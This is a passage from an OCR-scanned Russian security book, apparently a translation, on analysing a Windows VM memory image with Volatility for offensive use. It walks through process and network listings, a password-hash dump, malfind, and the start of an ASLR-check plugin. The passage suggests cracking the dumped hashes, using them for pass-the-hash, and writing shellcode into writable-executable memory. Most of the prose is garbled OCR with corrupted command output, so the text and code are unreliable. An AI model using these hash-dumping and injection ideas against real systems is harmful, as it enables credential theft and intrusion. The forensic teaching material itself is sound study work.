CTBO 1eHHoi nHdopmanuu, u Volatility mossosster Haiit 1060e 3HaueHne, KOTO-
poe Bac nHTepecyeT. 37eCh MBI UIIEM YCTaHOBJIEHHbIE CITY/KOBI. ITa MH(MOPMAaIIHs
HAXOJIUTCS 1O KJII0Uy /ControlSet@01/Services, KOTOPBIN MPUHALICKUT Oase
JaHHBIX AUcIeTdepa yrpasaenus cayskoamu (Service Control Manager, SCM):

PS>vol -f WinDev200@7Eval-7d959ee5.vmem windows.registry.printkey
--key 'ControlSet@o1i\Services'
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner
. Key Name Data Volatile
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services .NET CLR Data False
\REGISTRY\MACHINE\SYSTEM\ControlSet@o1\Services Appinfo False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services applockerfltr False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services AtomicAlarmClock False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services Beep False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01l\Services fastfat False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01l\Services MozillaMaintenance False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services NTDS False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services Ntfs False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services ShellHWDetection False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services SQLWriter False
\REGISTRY\MACHINE\SYSTEM\ControlSet@o1\Services Tcpip False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services Tcpip6 False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services terminpt False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services W32Time False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services WaaSMedicSvc False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services WacomPen False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01l\Services Winsock False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services WinSock2 False
\REGISTRY\MACHINE\SYSTEM\ControlSet@01\Services WINUSB False

ITOT BBIBOJI COMAEP/KUT CIUCOK BCEX CIIY:KO, yCTAHOBJIEHHBIX B crcteMe (Mbl €ero
COKPATUJIU JIJIST 9KOHOMUHU MECTa).
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Céop cBegeHun o nosib3oBATENE

Iasaiite cobepem uHdopMaIuio o nosubsosaresie BM. ToakimoyaeMblii MOLYJIb
cmdline BBIBOJAUT apTyMEHTbI KOMaH/IHON CTPOKHU KayK/IOTO TIPOIecca, KOTOPBIil
ObLII 3a1MyIIleH B MOMEHT CO3/IaHMsI CHUMKA. JTO TOMOKET HaM JIydIile TIOHSITh 110-

B€/IEHWE U HaMEPEHU A 110JIb30BaTEJIAL

PS>vol -f WinDev20@7Eval-7d959ee5.vmem windows.cmdline
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner

PID Process Args

72 Registry Required memory at 0x20 is not valid (process exited?)

340 smss.exe Required memory at 0xa5f1873020 is inaccessible (swapped)

564 lsass.exe C:\Windows\system32\1lsass.exe

624 winlogon.exe winlogon.exe

2160 MsMpEng.exe "C:\ProgramData\Microsoft\Windows Defender\
platform\4.18.2008.9-0\MsMpEng.exe"

4732 explorer.exe C:\Windows\Explorer.EXE

4848 svchost.exe C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p

4920 dllhost.exe C:\Windows\system32\D11lHost.exe /Processid:{AB8902B4-09CA-
4BB6-B78DA8F59079A8D5 }

5084 StartMenuExper "C:\Windows\SystemApps\Microsoft.Windows. "

5388 MicrosoftEdge. "C:\Windows\SystemApps\Microsoft.MicrosoftEdge . "

6452 OneDrive.exe "C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\
OneDrive.exe"

/background

6484 FreeDesktopClo "C:\Program Files\Free Desktop Clock\FreeDesktopClock.exe"

7092 cmd. exe "C:\Windows\system32\cmd.exe" ©

3312 notepad.exe notepad @

3824 powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\
powershell.exe"

6448 Calculator.exe "C:\Program Files\WindowsApps\
Microsoft.WindowsCalculator_. "

6684 firefox.exe "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"

6432 PowerToys.exe  "C:\Program Files\PowerToys\PowerToys.exe"

7124 nc64.exe Required memory at 0x2d7020 is inaccessible (swapped)

3324 smartscreen.ex C:\Windows\System32\smartscreen.exe -Embedding

4768 ipconfig.exe Required memory at 0x840308e020 is not valid

(process exited?)

B atoMm cricke nepeuncienst D mpotieccoB, X Ha3BaHUI U apTyMEHTHI, C KO-
TOPBIMU OHM ObLIN 3atyiieHbl. Kak BuauTe, GOJbIIMHCTBO MPOIECCOB OBLIN 3a-
MYIIEHbI cCaMOH CHCTEMOI, CKOPee BCETO, BO BpeMs 3aTpy3Ku. A BOT cmd.exe @
1 notepad.exe @ — 3TO TUITMIHBIE TTPOTIECCHI, KOTOPBIE 3AMTyCKAET TTOJb30BATET.
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Vccenemnyem oty nHbOpPMAIMIO HEMHOTO TOAPOOHEE, TIPUMEHUB MOAKII0YaeMbIil
MOy Jib pslist, KOTOPBIN BBIBOAMT CITUCOK ITPOIIECCOB, 3AMYNIEHHBIX B MOMEHT

CO3laHuA CHUMKaA:

PS>vol -f WinDev2@@7Eval-7d959ee5.vmem windows.pslist
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner

PID PPID ImageFileName  Offset(V) Threads Handles SessionId  Wow64
4 2] System ©xa50bb3e6do40 129 N/A False
72 4 Registry 0xa50bb3fbdo8e 4 N/A False
6452 4732 OneDrive.exe  ©xa50bb4d62080 25 1 True

6484 4732 FreeDesktopClo ©xa50bbb847300 1 1 False
6212 556 SgrmBroker.exe @xa50bbb832080 6 (2] False
1636 556 svchost.exe Oxa5ebbadbe340 8 (%] False
7092 4732 cmd. exe ©xa50bbbc4dog8e 1 1 False
3312 7092 notepad.exe 0xa50bbb692080 3 1 False
3824 4732 powershell.exe ©xa50bbb92deg8e 11 1 False
6448 704 Calculator.exe ©xa5@bb4dodoco 21 1 False
4036 6684 firefox.exe 0xa5ebbb178080 © 1 True

6432 4732 PowerToys.exe ©xa50bb4d5a2co 14 1 False
4052 4700 PowerLauncher. 0xa50bb7fd3080 16 1 False
5340 6432 Microsoft.Powe ©xa50bb736f080 15 1 False
8564 4732 python-3.8.6-a ©xa50bb7bc2080 1 1 True

7124 7092 nc64.exe ©xa50bbab89080 1 1 False
3324 704 smartscreen.ex 0xa50bb4d6a080 7 1 False
7364 4732 cmd. exe 0xa50bbd8a8080 1 1 False
8916 2136 cmd. exe ©xa50bb78d9080 © (%] False
4768 8916 ipconfig.exe  ©xa50bba7bde8o © (2] False

37ech MBI BUJIIM CaMU ITPOIIECCHI ¥ CMeTlleHne X aJipecoB B TaMsaTH. HekoTopbie
cTONOIBI OBLIN OIYIIEHBI /I 9KOHOMHUM MecTa. B 9TOM CIIHCKe ecTh HECKOJIbKO
MHTEPECHBIX ITPOLIECCOB, BKJIOYasd cmd U notepad, KOTOpbIE HaM yoKe BCTPEUYAIUCH
B BbIBOJIe cmdline.

BbL10 OBI HEILIOXO B3IJISIHYTH Ha MPOIIECCHI, TPEACTABIECHHbIE B HEPAPXUIECKOM
BH/IE, YTOOBI TIOHSTh, KaKWe U3 HUX MTOPOIUIIHN APyTHE. [IJist 3TOT0 BOCTIONb3yeMCst
MOJIKJTIOYaeMBIM MOZIYJIEM pstree:

PS>vol -f WinDev20@7Eval-7d959ee5.vmem windows.pstree

Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner
PID PPID ImageFileName  Offset(V) Threads Handles SessionId Wow64
4 (2] System 0xa50bba7bdo80 129 N/A False

* 556 492 services.exe Oxa50bba7bde8o 8 (2] False

** 2176 556 wlms.exe Oxa5ebba7bde8e 2 2] False

** 1796 556 svchost.exe Oxa50bba7bde80 13 2] False
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** 776 556 svchost.exe @xa50bba7bdo860
** 8 556 svchost.exe Oxa50bba7bdo860
*** 4556 8 ctfmon.exe Oxa50bba7bdo860
*** 5388 704 MicrosoftEdge. ©xa50bba7bdog86
*** 6448 704 Calculator.exe ©xa50bba7bdo80
*** 3324 704 smartscreen.ex ©xa50bba7bdo8e
** 2136 556 vmtoolsd.exe ©xa50ebba7bdo80
*** 8916 2136 cmd. exe ©xa50ebba7bdo80
*¥x* 4768 8916 ipconfig.exe @xa50bba7bdo860
* 4704 624 userinit.exe ©xa50bba7bdo80
** 4732 4704 explorer.exe @xa50bba7bdo860
**¥* 6432 4732 PowerToys.exe  ©xa5@bba7bdo8o
**** 5349 6432 Microsoft.Powe ©xa50bba7bdo860
*** 7364 4732 cmd . exe Oxa50bba7bdo860
*¥xk 2464 7364 conhost.exe Oxa5ebba7bdo860
*** 7092 4732 cmd . exe 0xa50bba7bdo86
¥*%% 3312 7092 notepad.exe ©xa50ebba7bdo80
***% 7124 7092 nc64.exe ©xa50ebba7bdo80
*¥** 8564 4732 python-3.8.6-a ©xa50bba7bdo80
*¥*** 1036 8564 python-3.8.6-a ©xa50bba7bdo8o

15 0 False
18 0 False
10 1 False
35 1 False
21 1 False
7 1 False
11 0 False
(%] (%] False
(%] (%] False
0 1 False
92 1 False
14 1 False
15 1 False
1 - False
4 1 False
1 - False
3 1 False
1 1 False
1 1 True
5 1 True

Terepb MbI UMeeM GoJiee YETKOE TIPE/ICTaBIEHIE O TIPOUCXOISIIEM. 3BE3M0UKN
B CTPOKaX OTMMCBHIBAIOT OTHOMIEHWS MEKIY POAUTEIBCKUMU U JOYEPHUMH TTPO-
neccamu. Hanpuwmep, mpotiecc userinit (PID 4704) nmopoaunn explorer.exe
(PID 4732), a ToT B cBoI10 o4yepenb — cmd.exe (PID 7092). 113 cmd. exe mosb30-
BaTeJib 3aIlyCTUJI notepad . exe U ellle OJINH MTPOIIECC 0]l HA3BAHUEM nC64 . exe.

[Tontem mapoJii ¢ TOMOTIBIO TTOAKJII0YAEMOTO MonyJisd hashdump:

PS> vol -f WinDev20@7Eval-7d959ee5.vmem windows.hashdump
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01

User rid
Administrator 500
Guest 501
DefaultAccount 503
WDAGUtilityAccount 504
User 1001
tim 1002
admin 1003

Scanning primary2
Imhash

aad3bXXXXXXaad3bXXXXXX
aad3bXXXXXXaad3bXXXXXX
aad3bXXXXXXaad3bXXXXXX
aad3bXXXXXXaad3bXXXXXX
aad3bXXXXXXaad3bXXXXXX
aad3bXXXXXXaad3bXXXXXX
aad3bXXXXXXaad3bXXXXXX

using PdbSignatureScanner
nthash

fc6eb57eXXXXXXXXXXX657878
1d6cTe@dXXXXXXXXXXXc089co
1d6cTe@dXXXXXXXXXXXc089co
ed66436aXXXXXXXXXXX1bb50f
31d6cfe@XXXXXXXXXXXc089co
afc6eb57XXXXXXXXXXX657878
afc6eb57XXXXXXXXXXX657878

B sTom BBIBOZIE TOKa3aHbI MMeHa IToab30BaTesel, a Takke LM- nu NT-xemm nx
napouieil. [Toxumenne xemnieii naposieii — 1eJib MHOTUX XaKePOB, KOTOPBIM y/laeTcst
IPOHUKHYTH Ha KOMITbIoTep ¢ Windows. DTH XeIn MOKHO B3/IaMbIBATH OTAETHHO
B TOIIbITKE U3BJI€YDb MAPOJIb JKEPTBBI N TIPUMEHSITh UX B atake BHja pass-the-
hash muist mosyuenust nocryra k ipyrum ceteBbiM pecypcam. Kem Ob1 Hi Obliia Batiia
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JKepTBa — OAUTENbHBIM 0JIb30BaTeIeM, KOTOPbII BBIIIOJIHIET OIE€PAIIH C TOBbI-
IIIEHHBIM PUCKOM TOJTbKO B BM, mtit opranusaliyeii, mbITalonieicst 4acTUIHO OTpa-
HUYHTD JIETEILHOCTD CBOMX PAOOTHUKOB BUPTYJIbHOM Cpejioil, — aHami3 BM wim
CHUMKOB B CHCTEME MOCJIe TIOJTyYeHUsI IOCTYTIA K €€ allliapaTHOMY 00eCTIeueHII0
OyIeT naeaaIbHbIM MOMEHTOM, JIJIst TOTO YTOOBI OIBITATHCSI BOCCTAHOBUTH ITAPOJIN
us atux xemeii. M Volatility menaer nporiecc BoccTaHOBIEHUS 0Y€Hb ITPOCTHIM.

Mpb1 3amackupoBaiu Xenu B BbiBojie. Ecyin BBl TibITaeTech MPOHUKHYTh B BM,
MOJKeTe Tepeath COOCTBEHHbII BHIBOJ] MHCTPYMEHTY JIJIsT B3JIOMa Xereil. B wH-
TepHeTe eCTh HECKOJIBKO CAalTOB, CO3AHHBIX CTIEITNAIBHO IS 9TOTO, HO BBI TAKIKE
MOJKEeTe BOCIIOJIb30BAThCS CPEACTBOM B3jioma naposieii John the Ripper B cBoeii
cucteme Kali.

Mouck yszenmocten

[Tpumenum Volatility asst moucka B atakyemoii BM ysiaBuMocTeil, KOTOPBIME
MO3KHO ObLJIO OBl BOCITOJIB30BaTbCA. [1OAKIIOUaeMbIi Moayab malfind miter
B aJIPECHOM IIPOCTPAHCTBE IMPOIlecca yYacTKU, KOTOPbIe MOTYT COJlepPKaTh
BHe/IpeHHbIi Ko/, O6paruTe BHUMaHKe Ha CIIOBO «M02ym» — JaHHBII MO b
3aHUMAETCS MMOUCKOM B MaMATUA MeCT, TOCTYIHBIX /JIsT YT€HUS, 3aTIUCH 1 BbI-
noJHeHust. Takue mpoIecchl CTOST TOTO, YTOOBI UX MCCJAEN0BATh, TaK KaK C UX
ITIOMOIIbIO HaM, BO3MOKHO, Y/IaCTCS IPUMEHUTDH Y:Ke UMeloleecs: BpeJlOHOCHOe
ITO. B kauecTBe aJbTepHATUBBI MOKEM TTOMPOOOBATD 3aMUCATh B 9TH YYaCTKU
cOOCTBEHHBIN BPEJOHOCHBIN KO/

PS>vol -f WinDev20@7Eval-7d959ee5.vmem windows.malfind
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner
PID Process Start VPN End VPN Tag Protection CommitCharge
1336 timeserv.exe  0©x660000 ox660fff VadS PAGE_EXECUTE_READWRITE 1

2160 MsMpEng.exe 0x16301690000 0x1630179cfff VadS PAGE_EXECUTE_READWRITE 269
2160 MsMpEng.exe 0x16303090000 0x1630318ffff VadS PAGE_EXECUTE_READWRITE 256
2160 MsMpEng.exe 0x16304200000 0x16304bfffff VadS PAGE_EXECUTE_READWRITE 512
6484 FreeDesktopClo ©x2320000 0x2320fff VadS PAGE_EXECUTE_READWRITE 1
5340 Microsoft.Powe ©x2c2502c0000 0x2c2502cffff VadS PAGE_EXECUTE_READWRITE 15

Mbi 06HAPY KUK HECKOJIBKO MOTEHIMATbHBIX pobsieM. [Tporecc timeserv.exe
(PID 1336) aBisiercs yactbio 6ecruiataoro 11O mox HasBameM FreeDesktopClock
(PID 6484). Ecain omno ycranosyiero B C:\Program Files, ¢ HIM MOKeT ObITH BCe
B nopsiike. Ecii 5ke HeT, 3TOT MPOIece MOXKET TPEICTABIISATH COO0# BPEIOHOCHOE
ITO, 3amackmpoBaHHOe O/ YaACHI.
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B monckoBoii cucteme MOKHO y3HATD, UTO Mpotiecc MsMpEng . exe (PID 2160) — aTo
cayskba 1t 60pb0ObI ¢ BpeauTesisiMi. HecMOTps Ha HaJlMume y4acTKOB MaMSITH,
JIOCTYTTHBIX JIJIsT 3AITUCH W BBITTIOJHEHNUST, 3T TIPOTIECCHI HE BRITJISAT otacHbIMu. Ho
MBI MOSKEM TIOTIBITATHCST CAEIATH UX TAKOBLIMHU, 3ATTUCAB MIEJII-KO/] B 9TH YYACTKH,
MO3TOMY Ha HUX CTOMT OOPaTUTh BHUMAHHUE.

Kax mokaszano jpasee, mogKI04aeMblil MOJYJIb netscan IIPEIOCTaBISET CITUCOK
BCEX CETEeBbIX COENUHEHMI, MMEBIINXCS HAa KOMIIBIOTEPE B MOMEHT CO3aHMSI
cHuUMKa. Bce, 4TO BBITIAANT MOZ03PUTEIHHO, MOKHO ITOIIPOOOBATD 3a€IICTBO-
BaTh B aTake:

PS>vol -f WinDev2@@7Eval-7d959ee5.vmem windows.netscan
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner

Offset Proto LocalAddr LocalPort ForeignAdd ForeignPort State  PID Owner
0xa50bb7a13d90 TCPv4 0.0.0.0 4444 0.0.0.0 0 LISTENING 7124 nc64.exe ©
0xa50bb9of4c310 TCPv4 0.0.0.0 7680 0.0.0.0 © LISTENING 1776 svchost.exe
0xa50bb9f615c0 TCPv4 0.0.0.0 49664 0.0.0.0 0 LISTENING 564 lsass.exe
0xa50bb9f62190 TCPv4 0.0.0.0 49665 0.0.0.0 0 LISTENING 492 wininit.exe

Oxa50bbaa80b20 TCPv4 192.168.28.128 50948 23.40.62.19 80 CLOSED @
woxa50bbabd2010 TCPv4 192.168.28.128 50954 23.193.33.57 443 CLOSED
0xa50bbad8d010 TCPv4 192.168.28.128 50953 99.84.222.93 443 CLOSED
Oxa50bbaef3010 TCPv4 192.168.28.128 50959 23.193.33.57 443 CLOSED
0xa50bbaff7010 TCPv4 192.168.28.128 50950 52.179.224.121 443 CLOSED
0xa50bbbd240a0 TCPv4 192.168.28.128 139 0.0.0.0 © LISTENING

MBI BUZIMM HECKOJIBKO COEMHEHUH, MHUITUUPOBAHHBIX JIOKAJIHHBIM KOMITHIO-
tepoM (192.168.28.128) u, 1o Beeil BUANMOCTH, HATIPABJIEHHBIX K Pa3HbIM BeO-
cepBepaM @, — OHU yiKe 3aKPBITHI. bosiee BAKHBIMU SIBJISTIOTCST COEIMHEHUS, 110-
MeueHHbIe Kak LISTENING. Te, 4o mpuHajiekaT u3BecTHbIM mpoiteccam Windows
(svchost, 1sass,wininit), MoryT 66T G€300UIHBIMH, @ BOT O NC64 . exe Mbl HIYEro
He 3HaeM @. On npociymmBaet nopt 4444 u 3aciyskuBaer 6oJiee TPUCTATBHOTO
BHUMAaHUs, Mbl MOKEM MIPOBEPUTH €T0 TIOPT C TIOMOTIbIO HATIEH aJbTePHATUBBI
netcat u3 TJ1aBbI 2.

Untepdenc volshell

ITomumo unTepdeiica komarHOI cTpoku, Volatility mpegocrasiisier cobCTBEHHYIO
KoMaHiHyto 06osouky Python mos HazBanuem volshell. OHa coueraer B cebe
Bcro Motb Volatility u mosHonenHbiil nHTEprperatop Python. Bor nmpumep uc-
MOJTb30BAHUS MOIKII0YAEMOTr0 MOy Ist pslist st ananusa obpasa Windows
C IIOMOII[bIO volshell:
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PS> volshell -w -f WinDev20@7Eval-7d959ee5.vmem ©

>>> from volatility.plugins.windows import pslist @

>>> dpo(pslist.PsList, primary=self.current_layer, nt_symbols=self.config
['nt_symbols']) ©

PID PPID ImageFileName  Offset(V) Threads Handles SessionId  Wow64
4 2] System 0xa50ebb3e6d040 129 - N/A False
72 4 Registry 0xa50bb3fbdo8e 4 - N/A False
6452 4732 OneDrive.exe  ©xa50bb4d62080 25 - 1 True

6484 4732 FreeDesktopClo ©xa50bbb847300 1 - 1 False

B 2T0M KOPOTKOM TIPrIMEpPE MBI HCTIOJIb30BAIIN KITI0Y -W, 4T0ObI coobmmTh Volatility
0 TOM, 4T0 aHaym3upyem obpaz Windows, 1 kimiod -f, aTo0bI yKazath cam 0Opas @.
C untepdeiicom volshell Mbl paboTaeM Tak ke, Kak B OOBIYHOI KOMAaHIHOW 000-
souke Python. To ecTb BbI MOKeTe IMIOPTHPOBATH MAKETHI U MHCATH (DYHKITUH,
Kak 0ObIYHO, TOJBKO Telephb B Baily 06004Ky BeTpoeHa atdopma Volatility.
Mbi UMITOPTUPYEM TOIKTIOYAEMbIiT MOy b pslist @ 1 0TOGpakaeM ero BLIBO/I
(pyukms dpo) ©.

Bouabire nudopmarium o volshell MOKHO TTOJTYYHUTh, €CJIU BBECTH volshell
--help.

Monb3oBarennckme nogkaUuaeMble Moaynm
ana Volatility

MBI TOJIBKO 4TO OOCYANIIN, KaK C ITOMOIIbIO TOAKI0UaeMbix MozyJieil Volatility
MTPOAHATN3NPOBATh CHUMOK BM Ha mpemeT ya3BuMocTell, U3y4nTh MOBe/ileHne
I10JIb30BATEJIS 110 OTHOIIIEHUIO K AaKTHBHBIM KOMAaH/IAM 1 IIPOLIECCAM, & TAKIKE [OJIY-
unTh Xeru naposteit. Ho mockosbky Volatility mo3Bosisier Bam micath coGCTBEHHbBIE
MO/IKJTIOYaeMble MOJLYJIM, TO, KaK Bbl IIPUMEHsIETe 3Ty MIaTGOPMY, OrPAaHUYEHO
JINIITb BalllUM BOO6pa}KeHI/IeM. STO MOJKET IIPUTOAUTHCA B CJIy4dae, €CJI1 Bbl XOTUTE
TMOJIYUYUTb JOIIOJTHUTE/IbHbIE CBEAECHUA, OTTAJIKNBAsAChH OT I/IHCI)OpMaHI/H/I, HaﬁﬂeHHOﬁ
CTaHIaPDTHbIMU MO/IYJISIMU.

Paspaborunku Volatility mpeaycMoTpen mpocToii mpoliecce co3aaHs Mo KO-
JaeMbIX MOJIyJIell. Bam Gy/ieT 10cTaTOuHO ciieoBaTh UX MpuMepy. Moskere gaske
clIesIaTh Tak, YTOOBI HOBBII MOJLYJTh OOPAIIAJICS K ysKe CYIIECTBYIONIM, — 3TO ellle
GoJIbIIE YITPOCTUT BaIlly 3ajiady.

PaccmoTpuM kapkac THITUYHOTO MOIKITIOYAEMOTO MOJLYJIS:
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imports

class CmdLine(interfaces.plugin.PluginInterface): ©
@classmethod
def get_requirements(cls): @
pass

def run(self): ©
pass

def generator(self, procs): @
pass

Bce cBoauTcst kK TOMY, 9TO HYKHO CO3[IaTh HOBBIH KJIacc, KOTOPBIN HACJIEIyeT
PluginInterface @, mepeurcauTh TPEGOBAHISI MOYJIsI @ U OIIPEIETUTD METO/IBI
run © 1 generator @. MeTo/ generator HeoOs3aTe/IbHBLI, HO BBIHECEHHE €T0 3a
TIPeIesTbl run — MTOJIE3HBIH TIPHEM, KOTOPBII MOKHO BCTPETUTD BO MHOTHX ITO/IKJTIO-
yaeMbIX MoyIaX. OhopMUB generator B BUjie OT/IETLHOTO METO/IA U UCIIOJIb3YST
€r0 B KaueCTBE TEHEPATOPa, MbI MOKEM OBICTPEE MOJIYYNUTh PE3YIBTAThI U CIeJIaTh
k071 60Jiee TTOHATHDBIM.

[Tpunep:kuBasich 9Toii OOIIEN CXeMbl, CO3AaAUM COOCTBEHHDBIN MOAKIIOYaeMbII
MOJLyJIb, KOTOPbIil Oy/IeT UCKATh MPOIIECCHI, He 3alUIeHHbIe ¢ TTOMOMbI0 ASLR
(address space layout randomization — paHzoMHU3aIKs pa3MeIeHNs aIPEeCHOTO
npoctpancTBa). ASLR niepemerniuBaeT afipecHOe IPOCTPAHCTBO YSI3BUMOTO ITPOIIEC-
ca, MEHSIST MECTOTTOIOKEHIE Ky, CTEKOB 1 IPYTUX YIaCTKOB BUPTYATbHOU TAMSITH,
BBIJZIEJIIEMBIX OTTEPAIIMOHHON CUCTEMOI. DTO 03HAYAEeT, YTO aBTOPHI AKCIIJIONTOB
HE MOTYT OIPe/IeTNTh, KK YCTPOEHO aJIpECHOE TIPOCTPAHCTBO KEPTBBI B MOMEHT
ataku. Windows Vista 6bu1a nmepsoii Bepcueir Windows ¢ nogmep:xkoit ASLR.
B 6outee crapbix o6pasax namsit (Harpumep, B Windows XP) zamurta ASLR He
BKJIIOYEHA 110 yMOJIYaHuio. B coBpemMenHbIX ke komibioTepax (¢ Windows 10)
TTOYTH BCE MPOIIECCHI 3ATTUIIIEHBI.

ASLR He uckiao4aeT BEPOSITHOCTH aTaKH, HO CYIIeCTBEHHO 3aTPYAHSIET ee Mpo-
Bezenne. Ha iepBoM aTarie aHa M3a Mbl CO3/1/IMM MTOIKTI0YAEMbIH MOJLYJIb, 4UTOOBI
MIPOBEPUTB, 3AIUIIEH JIN mporiecc ¢ momoribio ASLR.

[Tpuctynum. Cozpnaiite KaTasor moj HazBanueM plugins. B nem — ere oaun ka-
TaJjor, windows, B KOTOPOM 6yz;[yT XPaHUTHCS MOJKJII0YaeMble MOJYJIU 711 CUCTEM
Windows. Eciiu Bl cozaere mojikmodaemMbie MozyJiu st Mac nim Linux, mamka
TOJKHA Ha3BIBATHCS mac I linux COOTBETCTBEHHO.

Temniepn cozmaanm B kaTajore plugins/windows OAKII0OUYAEMbIN MOLY b JIJISI TTPO-
Bepkn ASLR — aslrcheck.py:
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# Wwem Bce npouecchl U nposepAem Hanu4due 3awuTbl ASLR
#
from typing import Callable, List

from volatility.framework import constants, exceptions, interfaces, renderers
from volatility.framework.configuration import requirements

from volatility.framework.renderers import format_hints

from volatility.framework.symbols import intermed

from volatility.framework.symbols.windows import extensions

from volatility.plugins.windows import pslist

import io
import logging
import os
import pefile

vollog = logging.getlLogger(__name__)

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040
IMAGE_FILE_RELOCS_STRIPPED = 0x0001

Brauasie uMImopTupyem HysKHbIe HaM MaKeThl 1 OubanoTeKy pefile i aHamM3a
daiinos B popmare PE (Portable Executable — nepeHocumblii ucnoHsieMblii
aiiu). Terepp HanMIIIEM BCIIOMOTATEJIbHYIO (DYHKIINIO /IJIST IPOBE/ICHUST aHAIM3A:

def check_aslr(pe): ©
pe.parse_data_directories([
pefile.DIRECTORY_ENTRY[ 'IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
D
dynamic = False
stripped = False

if (pe.OPTIONAL_HEADER.DllCharacteristics & @
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE):
dynamic = True

if pe.FILE_HEADER.Characteristics & IMAGE_FILE_RELOCS_STRIPPED: ©
stripped = True

if not dynamic or (dynamic and stripped): @
aslr = False

else:
aslr = True

return aslr

Mpr iepenaeM o6bekT PE-(aiina dynknum check_aslr @, pasdupaem ero u cMo-
TpUM, ObLII JIK OH CKOMITUJIMPOBAH € MapaMeTpoM /DYNAMICBASE @ u Oblia Jiu
yaasiena u3 gaiyia nHopmanus o nepemeniennu ajapecos ©. Ecau PE-daiin
He SIBJISIETCS] IMHAMUYECKUM UJTH HE COJEPKUT JAHHBIX O TIePEHOCE aJ[PECOB, ITO
0O3HauaeT, uTo OH He 3aluiieH ¢ momolnbio ASLR @.
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IToaroToBus ynkmnmio check_aslr, MoKeM co3aaTh Kaacc AslrCheck:

class AslrCheck(interfaces.plugins.PluginInterface): ©

@classmethod
def get_requirements(cls):
return [
requirements.TranslationLayerRequirement( @
name="primary', description='Memory layer for the kernel’,
architectures=["Intel32", "Intel64"]),

requirements.SymbolTableRequirement (©

name="nt_symbols", description="Windows kernel symbols"),
requirements.PluginRequirement( @

name="pslist', plugin=pslist.PsList, version=(1, @, 0)),

requirements.ListRequirement(name = 'pid', ©
element_type = int,
description = "Process ID to include (all others are excluded)",

optional = True),

]

[TepBoe, 4TO HEOGXOAMMO CIETATH TIPH CO3MAHUY MOAKTIOYAEMOTO MOJLYJIST, — HTO
yHacJIe0BaTh Kiaace PluginInterface @. [lasbiie onpeneasiorcss TpebOBaHus,
9TOOBI XOPOIIIO COPUEHTHUPOBATHCS B TOM, KaK¥We M3 HUX BaM HYKHBI, MOKHO
MTPOCMOTPETD JIPYTHE TOAKII0UaeMble MOy . KakaoMy MOIyITio HYKEeH CJIOH
HaMsITH, ¥ Mbl yKasblBaeM 9T0O TpebGoBaHue mepsbiM @. IIoMIMO 9TOro HaM TakkKe
HYSKHBI TabJIUIBI CUMBOJIOB ©. DT1 1Ba TpeOOBAHUS MOKHO BCTPETUTH MOYTH
y BCEX MOJIKITIOYAEMBIX MOJTYJTEH.

B kauecTse erie oHOro TpebOBaHUS HAM IIOHAL00UTCS IOAKII0YAEMBIIA MOILYJIb
pslist, KOTOPBIN MO3BOJUT TIOJIYIUTH BCE TPOIECCHI, HAXO/SIINECS B TAMSTH,
1 Boccosaath u3 Hux PE-daiinsl @. 3aTeM Mbl BO3bMEM KaK/IbIil M3 9THX (hailIoB
U TIPOAHATIM3UPYEM eTo Ha TipeamMeT 3amuThl ASLR.

BoawmozkHo, HaM 3aX04eTcd TPOBEPUTD OTAEIbHO B3SATHIN MTpoTiece ¢ 3agaHHbIM [ D,
MTO3TOMY CO3/Ia[IUM €eIlle OJINH JOMOJTHUTENbHBIN TapaMeTp, B KOTOPOM CMOKeM
nepeziaTh CIUCOK UACHTH(DUKATOPOB, UTOOBI OTPAHUYUTD IIPOBEPKY COOTBETCTBY-
IONIMMU TIpolieccamul ©:

@classmethod

def create_pid_filter(cls, pid_list: List[int] = None) ->
Callable[[interfaces.objects.ObjectInterface], bool]:
filter_func = lambda _: False
pid_list = pid_list or []
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filter_list = [x for x in pid_list if x is not None]
if filter_list:

filter_func = lambda x: x.UniqueProcessId not in filter_list
return filter_func

Jlst 06paboTKH fOTONHUTEBHOTO 1D TIpoliecca UCmoab3yeTcess MeToI KJacca,
KOTOPBIN co3maeT GyHKINIO DUABTPAIINH, a OHA BO3Bpamiaer False A/ Bcex
ID, nHaxomamuxcst B ciucke. To ectb yHKIMS DUABTpAMK OIIpeesieT, Oyaer
Ji riporiecc oTuabrpoBaH (0TOPOIIEH ), TOITOMY MbI BO3BpaliaeM True TOJbKO
B cayudae, ecan PID Her B criucke:

def _generator(self, procs):
pe_table_name = intermed.IntermediateSymbolTable.create( ©
self.context,
self.config_path,
"windows",
"pe”,
class_types=extensions.pe.class_types)

procnames = list()
for proc in procs:
procname = proc.ImageFileName.cast("string",
max_length=proc.ImageFileName.vol.count, errors='replace')
if procname in procnames:
continue
procnames.append(procname)

proc_id = "Unknown"
try:
proc_id = proc.UniqueProcessId
proc_layer_name = proc.add_process_layer()
except exceptions.InvalidAddressException as e:
